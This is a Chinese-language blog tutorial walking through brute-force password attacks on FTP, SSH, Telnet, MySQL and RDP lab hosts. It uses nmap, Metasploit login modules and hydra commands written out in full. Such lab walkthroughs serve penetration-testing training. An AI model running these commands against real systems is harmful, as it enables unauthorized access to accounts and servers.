Web漏洞之暴力破解

在web渗透测试中的首要环节:信息收集部分,我们通过端口扫描可以知道开放的端口,由此我们也可以知道对应的服务协议分别是什么。今天就来总给一下:当我们遇到一些服务协议,如何进行暴力破解去获取对应的账号和密码。我们常见的协议有FTP,SSH,Telnet等,接下来我们就来看一下如何暴力破解。

FTP服务

FTP是File Transfer Protocol(文件传输协议)的英文缩写,用于Internet上的控制文件的双向传输,默认端口为21。利用FTP服务器可以在本地主机和远程主机 间进行文件传输。当FTP没有配置好安全控制,如没有对登录的源地址及密码尝试次数做限制,那么就会存在暴力破解可能。

 本次靶机服务器地址:193.168.1.23

首先先使用nmap扫描。利用kali-linux自带的nmap扫描:nmap –v –A –Pn 193.168.1.23

然后打开另一个新的命令行窗口,连接ftp服务器测试任意账户密码,检测是否会在密码错误多次
的情况下用户被锁定

 

这时就使用工具msfconsole,msfconsole是一款常用的渗透测试工具,包含了常见的漏洞利用模块和生成各种木马,方便于安全测试人员的使用.

输入search ftp_login,搜索ftp_login模块。
输入use auxiliary/scanner/ftp/ftp_login,加载ftp_login模块
输入show options,显示ftp_login模块的参数
设置暴力破解目标主机FTP的相关参数。
输入exploit开始攻击,成功获取密码,为admin888。
尝试登录FTP服务器,打开kali系统终端,输入ftp 193.168.1.23,随后输入上面获取的用户名和
密码。
输入命令dir,可显示当前路径下的文件夹。
输入命令mkdir aaa,尝试在当前路径下新建一个名为aaa的文件夹。结果显示550 Access is
denied,证明该账户没有权限进行该操作。

SSH服务

SSH 为建立在应用层和传输层基础上的安全协议。SSH 是目前较可靠,专为远程登录会话和其
他网络服务提供安全性的协议。默认端口22。利用 SSH 协议可以有效防止远程管理过程中的信息泄露问题。SSH客户端适用于多种平台。通过SSH,可以把所有传输的数据进行加密,也能够防止DNS欺骗和IP欺骗。还有一个额外的好处就是传输的数据是经过压缩的,所以可以加快传输的速度。目前已经成为Linux系统的标准配置。

SSH服务验证

SSH提供两种级别的安全验证。
基于密匙的安全验证
需要依靠密匙,也就是你必须为自己创建一对密匙,并把公用密匙放在需要访问的服务器上。如果你要连接到 SSH服务器上,客户端软件就会向服务器发出请求,请求用你的密匙进行安全验证。服务器收到请求之后,先在该服务器上你的主目录下寻找你的公用密匙,然后把它和你发送过来的公用密匙进行比较。如果两个密匙一致,服务器就用公用密匙加密“质询”(challenge)并把它发送给客户端软件。客户端软件收到“质询”之后就可以用你的私人密匙解密再把它发送给服务器。
基于口令的安全验证
只要你知道自己帐号和口令,就可以登录到远程主机。所有传输的数据都会被加密,但是不能保证你正在连接的服务器就是你想连接的服务器。可能会有别的服务器在冒充真正的服务器,也就是受到“中间人”这种方式的攻击。同时如果服务器没有其他安全限制,如登录未知来源IP,账户登录错误次数过多,则会可能存在被暴力破解的可能。
本次演示的是基于口令的安全验证暴力破解漏洞
首先使用nmap进行扫描
nmap -v -A -Pn 193.168.1.26
发现了ssh服务,尝试登陆一下。
输入ssh admin@193.168.1.26, 任意输入用户名密码,提示访问被阻止。多次尝试这个过程(3次或以上),发现依旧可以尝试 输入密码。因此满足暴力破解漏洞存在的所有条件,可以进行暴力破解。
接下来进行SSH账户密码破解。
使用Metasploit中的ssh_login模块进行暴力破解。打开kali系统终端,输入msfconsole。
输入search ssh_login,搜索ssh_login模块。
输入use auxiliary/scanner/ssh/ssh_login,加载ssh_login模块。
输入show options,显示ssh_login模块的参数。
设置暴力破解目标主机的相关参数。
输入exploit开始暴力破解,成功获取密码,为admin888
打开命令行,输入ssh admin@193.168.1.26,尝试登录服务器。
密码输入admin888,成功连接。
输入命令,查看服务器相关信息

Telnet协议

Telnet协议是TCP/IP协议族中的一员,是Internet远程登陆服务的标准协议和主要方式。默认端口23。它为用户提供了在本地计算机上完成远程主机工作的能力。要开始一个telnet会话,必须输入用户名和密码来登录服务器。而一般服务器不会对用户名和密码的登录尝试做限制,因此可以通过多次尝试密码的方式对Telnet服务器进行暴力破解。
首先使用nmap,输入命令nmap -v -A -Pn 193.168.1.27,对该IP地址进行扫描
使用hydra进行暴力破解。输入如下命令:
hydra 193.168.1.27 telnet -l admin -P /tmp/pass.txt -t 32 -s 23 –V
尝试登录telnet服务器,输入如下命令:
telnet 193.168.1.27 23,用户名密码分别输入admin和admin888
登录服务器后可尝试一些常用系统命令,如 ipconfig ,查看回显。

数据库

MySQL是一个关系型数据库管理系统,是目前最流行的关系型数据库管理系统。默认端口3306。MySQL 是一种关联数据库管理系统,关联数据库将数据保存在不同的表中,而不是将所有数据放在一个大仓库内,这样就增加了速度并提高了灵活性。MySQL 所使用的 SQL 语言是用于访问数据库的最常用标准化语言。由于其体积小、速度快、总体拥有成本低,尤其是开放源码这一特点,一般中小型网站的开发都选择 MySQL 作为网站数据库。用户可以通过输入用户名和密码来登录数据库服务器。而一般服务器不会对用户名和密码的登录尝试做限制,因此可以通过多次尝试密码的方式对Mysql服务器进行暴力破解。
开启kali-linux虚拟机,打开命令行窗口运行NMAP,输入命令nmap -v -A -Pn 193.168.1.24,对该IP地址进行扫描。
使用Metasploit进行暴力破解。输入msfconsole打开Metasploit。
输入search mysql_login,搜索mysql_login模块。
输入use auxiliary/scanner/mysql/mysql_login,加载mysql_login模块。
输入show options,显示mysql_login模块的参数。
使用set命令设置暴力破解目标数据库的相关参数。
输入exploit开始攻击,成功获取密码,为 admin888
在本机打开命令行,输入mysql -h 193.168.1.38 -u root –p,输入密码admin888,尝试登录mysql服务器。
输入show databases;(注意最后需加一个分号,分号为sql语句中的分隔符),获取数据库名。

远程桌面

远程桌面协议(RemoteDesktopProtocol)是让客户端连接远程服务器桌面的协议。3389端口是
windows远程桌面服务的默认端口。一般用户可以通过管理员用户名密码访问开放3389端口的计算机的远程桌面进行管理。

远程桌面暴力破解漏洞产生

  • 开放远程桌面协议服务
  • 没有限制登录来源地址
  • 没有限制密码错误次数
首先加载kali-linux虚拟机,打开命令行窗口,利用nmap扫描靶机端口服务。
nmap -v -A -Pn 193.168.1.25
接下来利用hydra工具暴力破解此远程桌面账户密码。
hydra 193.168.1.25 rdp -l admin -P /tmp/pass.txt -t 1 -V
成功获取登录远程桌面的密码,为admin888。
利用远程桌面连接工具登录此靶机服务器。
通过键盘上的win+R组合键打开“运行界面”,输入“mstsc”打开远程桌面连接界面。mstsc
(Microsoft terminal services client)是微软远程服务客户端软件。
然后 计算机名输入193.168.1.25,点击连接。
输入上面获取的用户名和密码,点击“确定”登录。成功登上目标系统。
  • 25
    点赞
  • 30
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值